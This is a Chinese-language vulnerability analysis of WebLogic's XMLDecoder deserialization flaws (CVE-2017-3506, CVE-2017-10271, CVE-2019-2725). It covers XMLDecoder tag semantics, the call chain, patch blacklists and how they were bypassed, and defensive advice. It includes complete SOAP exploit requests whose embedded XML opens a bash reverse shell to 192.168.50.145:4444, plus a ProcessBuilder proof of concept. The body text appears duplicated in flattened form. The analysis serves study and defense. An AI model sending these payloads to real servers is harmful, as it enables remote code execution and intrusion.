WebLogic-XMLDecoder反序列化漏洞分析
字数 1818 2025-08-20 18:18:24

WebLogic XMLDecoder反序列化漏洞深入分析与防御指南

一、XMLEncoder与XMLDecoder基础

1.1 XML序列化机制概述

XMLEncoder/XMLDecoder是JDK1.4引入的XML格式序列化持久性方案:

  • XMLEncoder:生成表示JavaBeans组件的XML文档
  • XMLDecoder:读取XMLEncoder创建的XML文档获取JavaBeans

1.2 基本使用示例

XMLEncoder示例代码

XMLEncoder e = new XMLEncoder(new BufferedOutputStream(new FileOutputStream("result.xml")));
e.writeObject(new JButton("Hello,xml"));
e.close();

生成的XML文档

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_181" class="java.beans.XMLDecoder">
 <object class="javax.swing.JButton">
  <string>Hello,xml</string>
 </object>
</java>

XMLDecoder示例代码

XMLDecoder d = new XMLDecoder(new BufferedInputStream(new FileInputStream("result.xml")));
Object result = d.readObject();
System.out.println(result);
d.close();

二、XML标签与属性详解

2.1 核心标签解析

  1. string标签

    • 表示字符串值
    • 示例:<string>Hello,xml</string>
  2. object标签

    • 表示对象实例
    • class属性指定具体类
    • method属性指定方法名(如构造函数用"new")
    • 示例:
      <object class="javax.swing.JButton" method="new">
          <string>Hello,xml</string>
      </object>
      
  3. void标签

    • 表示函数调用或赋值操作
    • method属性指定方法名
    • 示例:
      <object class="javax.swing.JButton">
          <void method="setText">
          <string>Hello,xml</string>
          </void>
      </object>
      
  4. array标签

    • 表示数组
    • class属性指定数组类型
    • length属性指定长度
    • 内部void标签的index属性指定索引
    • 示例:
      <array class="java.lang.String" length="3">
          <void index="1">
          <string>Hello,xml</string>
          </void>
      </array>
      

三、XMLDecoder反序列化漏洞原理

3.1 漏洞利用原理

通过构造恶意XML文档,XMLDecoder在反序列化时会执行其中的Java代码,导致任意代码执行。

3.2 漏洞利用示例

恶意XML文档(poc.xml)

<java version="1.4.0" class="java.beans.XMLDecoder">
    <void class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="3">
            <void index="0"><string>/bin/bash</string></void>
            <void index="1"><string>-c</string></void>
            <void index="2"><string>open -a Calculator</string></void>
        </array>
        <void method="start"/></void>
</java>

等效Java代码

String[] cmd = new String[3];
cmd[0] = "/bin/bash";
cmd[1] = "-c";
cmd[2] = "open /System/Applications/Calculator.app/";
new ProcessBuilder(cmd).start();

四、WebLogic漏洞复现与分析

4.1 漏洞复现步骤

  1. 环境搭建

    version: '2'
    services:
     weblogic:
       image: vulhub/weblogic
       ports:
        - "7001:7001"
        - "8453:8453"
    
  2. 利用EXP

    POST /wls-wsat/CoordinatorPortType HTTP/1.1
    Host: 192.168.50.145:7001
    Content-type: text/xml
    Content-Length: 639
    
    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
      <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
          <java version="1.4.0" class="java.beans.XMLDecoder">
            <void class="java.lang.ProcessBuilder">
              <array class="java.lang.String" length="3">
                <void index="0"><string>/bin/bash</string></void>
                <void index="1"><string>-c</string></void>
                <void index="2"><string>bash -i >& /dev/tcp/192.168.50.145/4444 0>&1</string></void>
              </array>
              <void method="start"/></void>
          </java>
        </work:WorkContext>
      </soapenv:Header>
      <soapenv:Body/>
    </soapenv:Envelope>
    

4.2 漏洞调用链分析

完整调用栈:

  1. weblogic.wsee.workarea.WorkContextXmlInputAdapter.readUTF
  2. weblogic.workarea.spi.WorkContextEntryImpl.readEntry
  3. weblogic.workarea.WorkContextLocalMap.receiveRequest
  4. weblogic.workarea.WorkContextMapImpl.receiveRequest
  5. weblogic.wsee.jaxws.workcontext.WorkContextServerTube.receive
  6. weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld
  7. weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest

关键点:XMLDecoder.readObject()最终被调用执行恶意XML。

五、漏洞补丁与绕过分析

5.1 CVE-2017-3506补丁

补丁在WorkContextXmlInputAdapter中添加了validate验证:

private void validate(InputStream is) {
    // ...
    parser.parse(is, new DefaultHandler() {
        public void startElement(String uri, String localName, String qName, Attributes attributes) {
            if(qName.equalsIgnoreCase("object")) {
                throw new IllegalStateException("Invalid context type: object");
            }
        }
    });
}

绕过方法:将object标签替换为void标签。

5.2 CVE-2017-10271补丁

加强的黑名单验证:

if(qName.equalsIgnoreCase("object")) {
    throw new IllegalStateException("Invalid element qName:object");
} else if(qName.equalsIgnoreCase("new")) {
    throw new IllegalStateException("Invalid element qName:new");
} else if(qName.equalsIgnoreCase("method")) {
    throw new IllegalStateException("Invalid element qName:method");
} else if(qName.equalsIgnoreCase("void")) {
    // 只允许index属性
}

5.3 CVE-2019-2725绕过

利用_async组件的反序列化功能,EXP示例:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" 
  xmlns:wsa="http://www.w3.org/2005/08/addressing"
  xmlns:asy="http://www.bea.com/async/AsyncResponseService">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
      <java version="1.4.0" class="java.beans.XMLDecoder">
        <void class="java.lang.ProcessBuilder">
          <array class="java.lang.String" length="3">
            <void index="0"><string>/bin/bash</string></void>
            <void index="1"><string>-c</string></void>
            <void index="2"><string>bash -i >& /dev/tcp/192.168.50.145/4444 0>&1</string></void>
          </array>
          <void method="start"/> </void>
      </java>
    </work:WorkContext>
  </soapenv:Header>
  <soapenv:Body>
    <asy:onAsyncDelivery/>
  </soapenv:Body>
</soapenv:Envelope>

5.4 其他绕过方式

  1. 使用class标签构造类(受限于只能调用构造函数)
  2. 利用二次反序列化链:
    • FileSystemXmlApplicationContext-RCE
    • UnitOfWorkChangeSet-RCE
    • ysoserial-jdk7u21-RCE
    • JtaTransactionManager-JNDI注入

六、防御建议

  1. 及时更新WebLogic补丁
  2. 禁用不必要的组件(如wls-wsat)
  3. 在网络边界限制访问WebLogic管理端口
  4. 实施严格的输入验证
  5. 使用安全产品监控异常行为

七、影响版本

  • WebLogic 10.3.6.0
  • WebLogic 12.1.3.0
  • WebLogic 12.2.1.0
  • WebLogic 12.2.1.1
  • WebLogic 12.2.1.2

八、参考资源

  1. WebLogic XMLDecoder反序列化学习
  2. WebLogic XMLDecoder反序列化分析
  3. WebLogic XMLDecoder反序列化漏洞分析
  4. WebLogic XMLDecoder反序列化漏洞分析
  5. WebLogic XMLDecoder反序列化漏洞分析
WebLogic XMLDecoder反序列化漏洞深入分析与防御指南 一、XMLEncoder与XMLDecoder基础 1.1 XML序列化机制概述 XMLEncoder/XMLDecoder是JDK1.4引入的XML格式序列化持久性方案: XMLEncoder:生成表示JavaBeans组件的XML文档 XMLDecoder:读取XMLEncoder创建的XML文档获取JavaBeans 1.2 基本使用示例 XMLEncoder示例代码 : 生成的XML文档 : XMLDecoder示例代码 : 二、XML标签与属性详解 2.1 核心标签解析 string标签 : 表示字符串值 示例: <string>Hello,xml</string> object标签 : 表示对象实例 class 属性指定具体类 method 属性指定方法名(如构造函数用"new") 示例: void标签 : 表示函数调用或赋值操作 method 属性指定方法名 示例: array标签 : 表示数组 class 属性指定数组类型 length 属性指定长度 内部 void 标签的 index 属性指定索引 示例: 三、XMLDecoder反序列化漏洞原理 3.1 漏洞利用原理 通过构造恶意XML文档,XMLDecoder在反序列化时会执行其中的Java代码,导致任意代码执行。 3.2 漏洞利用示例 恶意XML文档(poc.xml) : 等效Java代码 : 四、WebLogic漏洞复现与分析 4.1 漏洞复现步骤 环境搭建 : 利用EXP : 4.2 漏洞调用链分析 完整调用栈: weblogic.wsee.workarea.WorkContextXmlInputAdapter.readUTF weblogic.workarea.spi.WorkContextEntryImpl.readEntry weblogic.workarea.WorkContextLocalMap.receiveRequest weblogic.workarea.WorkContextMapImpl.receiveRequest weblogic.wsee.jaxws.workcontext.WorkContextServerTube.receive weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest 关键点: XMLDecoder.readObject() 最终被调用执行恶意XML。 五、漏洞补丁与绕过分析 5.1 CVE-2017-3506补丁 补丁在 WorkContextXmlInputAdapter 中添加了validate验证: 绕过方法 :将 object 标签替换为 void 标签。 5.2 CVE-2017-10271补丁 加强的黑名单验证: 5.3 CVE-2019-2725绕过 利用 _async 组件的反序列化功能,EXP示例: 5.4 其他绕过方式 使用 class 标签构造类(受限于只能调用构造函数) 利用二次反序列化链: FileSystemXmlApplicationContext-RCE UnitOfWorkChangeSet-RCE ysoserial-jdk7u21-RCE JtaTransactionManager-JNDI注入 六、防御建议 及时更新WebLogic补丁 禁用不必要的组件(如wls-wsat) 在网络边界限制访问WebLogic管理端口 实施严格的输入验证 使用安全产品监控异常行为 七、影响版本 WebLogic 10.3.6.0 WebLogic 12.1.3.0 WebLogic 12.2.1.0 WebLogic 12.2.1.1 WebLogic 12.2.1.2 八、参考资源 WebLogic XMLDecoder反序列化学习 WebLogic XMLDecoder反序列化分析 WebLogic XMLDecoder反序列化漏洞分析 WebLogic XMLDecoder反序列化漏洞分析 WebLogic XMLDecoder反序列化漏洞分析